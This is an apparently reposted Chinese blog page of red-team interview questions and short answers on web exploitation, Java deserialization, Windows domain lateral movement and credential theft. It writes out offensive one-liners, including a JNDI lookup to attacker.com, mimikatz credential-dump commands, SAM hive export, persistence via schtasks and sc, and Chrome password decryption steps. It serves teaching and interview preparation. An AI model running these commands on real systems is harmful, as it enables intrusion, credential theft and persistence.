当前位置: 首页 > news >正文

2025年渗透测试面试题总结-匿名[校招]红队攻防工程师(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

匿名[校招]红队攻防工程师

1. 00截断的原理

2. Java回显通用思路及JDK差异

3. Redis利用姿势及环境差异

4. Shiro限制Payload长度的绕过

5. Fastjson回显实现

6. 文件上传白名单绕过

7. MVC代码审计流程

8. DOM型XSS

9. SSRF利用点

10. SQL注入报错函数及空表利用

11. JNDI注入原理

12. 泛微OA Xstream回显差异

13. 端口389与域控判断

14. 横向移动技术(工作组/域)

15. Windows认证协议与哈希传递

16. 权限维持技术

17. 横向移动姿势及原理

18. 凭证获取与对抗

19. 白银票据与黄金票据

20. 对抗杀软的后门用户

21. Chrome密码Dump原理与工具实现

匿名[校招]红队攻防工程师

1. 00截断的原理
2. Java回显的通用思路以及不同版本jdk的差异
3. Java 回显
4. Redis 利用姿势及环境差异
5. shiro 限制payload长度
6. fastjson回显
7. 文件上传白名单利用
8. mvc代码审计流程
9. dom 型 xss
10. ssrf 利用点
11. sql注入的报错函数
12. sql注入点,空表如何利用
13. jndi注入及原理
14. 泛微oa xstream的回显(jdk1.8和1.7的差异)
15. 端口 389
16. 判断域控的几种方式
17. 工作组横向
18. 域内横向
19. Windows认证协议
20. 判断是否在域内
21. hash传递原理
22. 权限维持
23. 横向移动的各种姿势及原理
24. 凭证获取(姿势/常用/原理/对抗)
25. 白银票据黄金票据
26. 如何对抗杀软加后门用户
27. Chrome dump密码的原理,如果让你写个工具,思路是什么(或者别人工具的实现原理). 

1. 00截断的原理

  • 核心机制:利用空字符(%00\x00)截断后续字符串,绕过文件扩展名检查。
  • 触发条件:PHP版本≤5.3且magic_quotes_gpc=Off,系统未过滤空字符。
  • 实例场景:上传文件名shell.php%00.jpg ,后端校验.jpg,但保存为.php

2. Java回显通用思路及JDK差异

  1. 异常回显:通过异常堆栈信息泄露敏感数据(如e.printStackTrace() 直接输出至页面)。
  2. 反射注入
    • Request对象提取HttpServletResponse,写入数据(如response.getWriter().write("result") )。
    • 利用ThreadLocal获取当前线程的上下文对象。
  3. 内存马动态注册
    • 注入Filter/Servlet,劫持请求处理逻辑(如FilterChain插入恶意Filter)。
  • JDK版本差异
    • JDK ≤8u191:支持远程加载恶意类(如JNDI注入)。
    • JDK >8u191:限制远程类加载,需本地利用链(如TemplatesImpl结合字节码注入)。

3. Redis利用姿势及环境差异

  • 常见攻击手法
    1. 写SSH公钥:通过config set dir切换目录,写入authorized_keys
    2. Webshell写入:需Web目录可写权限(如config set dir /var/www/html)。
    3. 主从复制RCE:恶意主节点同步恶意模块(利用MODULE LOAD加载.so文件)。
  • 环境差异影响
    • Linux:Redis以root运行时可直接覆盖敏感文件(如/etc/crontab)。
    • Windows:路径需转义(C:\\web\\shell.php ),且依赖写权限和Web服务。

4. Shiro限制Payload长度的绕过

  1. 精简Payload
    • 选择更短的反序列化链(如CommonsBeanutils1长度小于CommonsCollections2)。
    • 使用AES-GCM加密模式减少填充长度(默认CBC填充可能增加30%长度)。
  2. 分块传输
    • 利用Shiro的Cookie自动拼接特性,拆分Payload为多个Cookie段。
  3. 二次反序列化
    • 构造嵌套反序列化结构,外层Payload触发内层恶意对象加载。

5. Fastjson回显实现

  1. JdbcRowSetImpl链
    • 触发JNDI注入,LDAP服务返回恶意类,在类初始化时通过反射写入回显结果。
  2. TemplatesImpl链
    • 直接加载字节码,通过_outputProperties触发恶意逻辑,结合ThreadLocal获取Response对象。
  3. 自定义恶意类
    • 构造类的toString()getter方法,在反序列化时自动触发数据输出。

6. 文件上传白名单绕过

  1. 解析漏洞利用
    • Apacheshell.php.xxx 优先解析为PHP(配置AddHandler问题)。
    • IIS:分号截断(shell.asp;.jpg )或畸形文件名。
  2. .htaccess重写规则
    • 上传.htaccess文件设置AddType application/x-httpd-php .xxx
  3. 大小写/空格绕过
    • 后缀名大小写混淆(.Php)或末尾加空格(shell.php )。

7. MVC代码审计流程

  1. 入口点定位
    • 分析路由注解(如@RequestMapping)及参数绑定(@RequestParam)。
  2. 危险函数追踪
    • SQL拼接(StringBuffer)、表达式解析(SPEL/OGNL)、反序列化(ObjectInputStream)。
  3. 权限校验逻辑
    • 检查InterceptorFilter是否遗漏权限控制(如越权访问)。
  4. 历史漏洞复现
    • 针对框架版本(如Spring Security OAuth2的开放重定向漏洞)。

8. DOM型XSS

  1. 触发点分析
    • 前端直接操作DOM(如document.write(location.hash.substr(1)) )。
  2. 常见漏洞代码
    • eval()动态执行、innerHTML拼接用户输入、location参数未过滤。
  3. 防御策略
    • 使用textContent替代innerHTML,输入内容编码(如encodeURIComponent)。

9. SSRF利用点

  1. 协议攻击
    • file协议:读取本地文件(file:///etc/passwd)。
    • gopher协议:构造HTTP/Redis协议攻击内网服务(如Redis未授权访问)。
  2. 内网服务探测
    • 利用响应时间差异判断端口开放状态(如http://192.168.1.1:3306延迟高则MySQL存活)。
  3. 绕过限制
    • DNS重绑定、IPv6地址、短网址跳转。

10. SQL注入报错函数及空表利用

  1. 报错函数示例
    • MySQLextractvalue(1,concat(0x7e,version()))
    • PostgreSQL1/(select case when version() ~ '^10' then 0 else 1 end)
  2. 空表盲注技巧
    • 布尔盲注:构造条件语句(AND EXISTS(SELECT 1 FROM dual))。
    • 时间盲注IF((SELECT COUNT(*) FROM table)=0, SLEEP(5), 0)

11. JNDI注入原理

  1. 攻击流程
    • 控制JNDI查找地址(如ldap://attacker.com/Exploit ),触发目标加载恶意类。
  2. 版本限制
    • JDK ≤8u191:允许远程类加载,直接RCE。
    • JDK >8u191:仅支持本地类或指定工厂类(需结合其他漏洞链)。
  3. 防御绕过
    • 利用本地Classpath中的已知类(如org.apache.naming.factory.BeanFactory )。

12. 泛微OA Xstream回显差异

  • JDK 1.7
    • 直接利用TemplatesImpl加载字节码,通过getOutputProperties()触发代码执行。
  • JDK 1.8
    • TemplatesImpl类加载限制,需结合其他链(如SpringAbstractBeanFactoryPointcutAdvisor)。

13. 端口389与域控判断

  1. 端口389用途
    • LDAP服务默认端口,用于域用户认证、组策略同步。
  2. 域控识别方法
    • DNS查询:nslookup -type=SRV _ldap._tcp.dc._msdcs.< 域名>
    • 命令行:netdom query fsmonet group "Domain Controllers" /domain

14. 横向移动技术(工作组/域)

  1. 工作组横向
    • SMB爆破:使用psexeccrackmapexec执行命令。
    • WMI远程执行wmic /node:IP process call create "cmd.exe"
  2. 域内横向
    • 票据传递(PtT):导出票据(mimikatz sekurlsa::tickets /export)并重用。
    • DCOM组件:利用MMC20.Application远程执行命令。

15. Windows认证协议与哈希传递

  1. 协议对比
    • NTLM:基于挑战-响应,易受Pass-the-Hash攻击。
    • Kerberos:依赖票据(黄金票据伪造TGT,白银票据伪造服务票据)。
  2. 哈希传递原理
    • 直接使用NTLM哈希生成认证令牌,绕过明文密码需求(sekurlsa::pth /user:admin /ntlm:HASH)。

16. 权限维持技术

  1. 持久化方法
    • 计划任务schtasks /create /sc minute /tn "Task" /tr "恶意命令"
    • 服务创建sc create Service binPath= "恶意路径" start= auto
  2. 注册表启动项
    • 写入HKLM\Software\Microsoft\Windows\CurrentVersion\Run

17. 横向移动姿势及原理

  1. WMI远程执行
    • 通过Win32_Process类创建进程(Invoke-WmiMethod)。
  2. PsExec工具
    • 利用SMB协议上传服务并执行命令(需管理员权限)。
  3. Pass-the-Ticket
    • 重用Kerberos票据访问受限资源(如域控的HOST服务)。

18. 凭证获取与对抗

  1. 常见获取方式
    • LSASS内存提取mimikatz sekurlsa::logonpasswords
    • 注册表转储SAMreg save HKLM\SAM sam.save
  2. 对抗手段
    • 启用Credential Guard、限制调试权限(SeDebugPrivilege)。

19. 白银票据与黄金票据

  1. 黄金票据(Golden Ticket)
    • 伪造TGT,需域控的krbtgt账户的NTLM哈希,允许访问任意服务。
  2. 白银票据(Silver Ticket)
    • 伪造服务票据,需服务账户的NTLM哈希,仅限特定服务(如CIFS)。

20. 对抗杀软的后门用户

  1. 隐蔽创建用户
    • 使用net user命令创建用户并加入隐藏组(如net localgroup "Users"隐藏)。
  2. 注册表隐藏
    • 修改HKLM\SAM\SAM\Domains\Account\Users中的用户键值属性。

21. Chrome密码Dump原理与工具实现

  1. 文件定位
    • 用户数据目录:%LocalAppData%\Google\Chrome\User Data\Default\Login Data
  2. 解密流程
    • 调用Windows DPAPI解密Master Key(CryptUnprotectData API)。
    • 解密SQLite数据库中的密码字段(AES-256-GCM算法)。
  3. 工具设计思路
    • 读取Login Data文件,提取加密密码。
    • 调用系统API解密密钥,最终输出明文密码。

相关文章:

  • 特伦斯 S75 电钢琴:重塑演奏美学的至臻之选
  • 数字化那点事系列文章
  • 软件工程:关于招标合同履行阶段变更的法律分析
  • [网页五子棋][对战模块]前后端交互接口(建立连接、连接响应、落子请求/响应),客户端开发(实现棋盘/棋子绘制)
  • 系统思考:经营决策沙盘
  • WebBuilder数据库:企业数据管理的能力引擎
  • Vad-R1:通过从感知到认知的思维链进行视频异常推理
  • 初学c语言21(文件操作)
  • C语言进阶--自定义类型详解(结构体、枚举、联合)
  • 2022 RoboCom 世界机器人开发者大赛-本科组(省赛)解题报告 | 珂学家
  • 【仿生机器人】机器人情绪系统的深度解析
  • 从监控到告警:Prometheus+Grafana+Alertmanager+告警通知服务全链路落地实践
  • Docker Compose使用自定义用户名密码启动Redis
  • 经典SQL查询问题的练习第二天
  • JNI开发流程
  • OS9.【Linux】基本权限(下)
  • Vue-收集表单信息
  • 动态IP与区块链:重构网络信任的底层革命
  • Maven高级篇
  • 迈迪工具集添加标准件
  • 东莞微网站建设公司/网络推广网站公司
  • 网站底部版权信息代码/怎样推广公司的网站
  • 潍坊网站空间/谷歌chrome浏览器下载
  • 织梦更换网站模板/简单制作html静态网页
  • 网站建设模板制作/湖南有实力seo优化
  • 柳州网站开发公司/aso应用商店优化